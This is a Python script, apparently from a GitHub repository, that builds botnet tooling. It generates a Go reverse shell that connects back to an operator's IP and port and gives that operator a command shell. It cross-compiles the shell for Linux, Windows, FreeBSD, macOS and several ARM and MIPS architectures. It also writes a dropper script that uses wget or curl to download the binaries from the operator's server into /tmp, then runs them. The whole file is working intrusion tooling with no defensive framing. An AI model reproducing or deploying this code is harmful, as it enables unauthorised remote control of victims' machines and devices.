-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnetbot_AutoCreate.py
66 lines (58 loc) · 1.75 KB
/
netbot_AutoCreate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
GOOS = ["linux","windows","freebsd","darwin"]
GOARCH = ["amd64","arm","386","mips","mipsle","mips64","mips64le"]
def compileCode(serverIp,fileNme,shName):
os.system("rm -rf ./bins/*")
os.system("rm -rf ./{}".format(shName))
shScript = "rm %s.sh;cd /tmp || cd /var/run || cd /mnt || cd /root || cd / ;wget http://%s:8000/bins/%s;curl -O http://%s:8000/bins/%s;chmod +x *;./%s\n"
shFIle = open(shName+".sh",'w')
for o in GOOS:
for a in GOARCH:
binFileNme = "{}.{}.{}".format(fileNme,o,a)
output = os.popen('GOOS={} GOARCH={} GOMIPS=softfloat go build -ldflags "-s -w" -o ./bins/{} code.go'.format(o,a,binFileNme)).close()
if output is None:
shFIle.write(shScript % (shName,serverIp,binFileNme,serverIp,binFileNme,binFileNme))
shFIle.close()
def createCodeFile(ip,port):
goCode = '''package main
import (
"net"
"os/exec"
"runtime"
"time"
)
func main() {
conn, err := net.Dial("tcp", "%s:%s")
var cmd *exec.Cmd
if err != nil {
time.Sleep(5 * time.Second)
main()
}
conn.Write([]byte(runtime.GOOS + "/" + runtime.GOARCH + "\\n"))
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
main()
}'''
f = open("code.go","w")
f.write(goCode % (ip,port))
f.close
if __name__ == "__main__":
serverIp = input("server ip:")
serverPort = input("server port:")
fileNme=input("bins name:")
shName = input("script name:")
createCodeFile(serverIp,serverPort)
compileCode(serverIp,fileNme,shName)
os.system("rm code.go")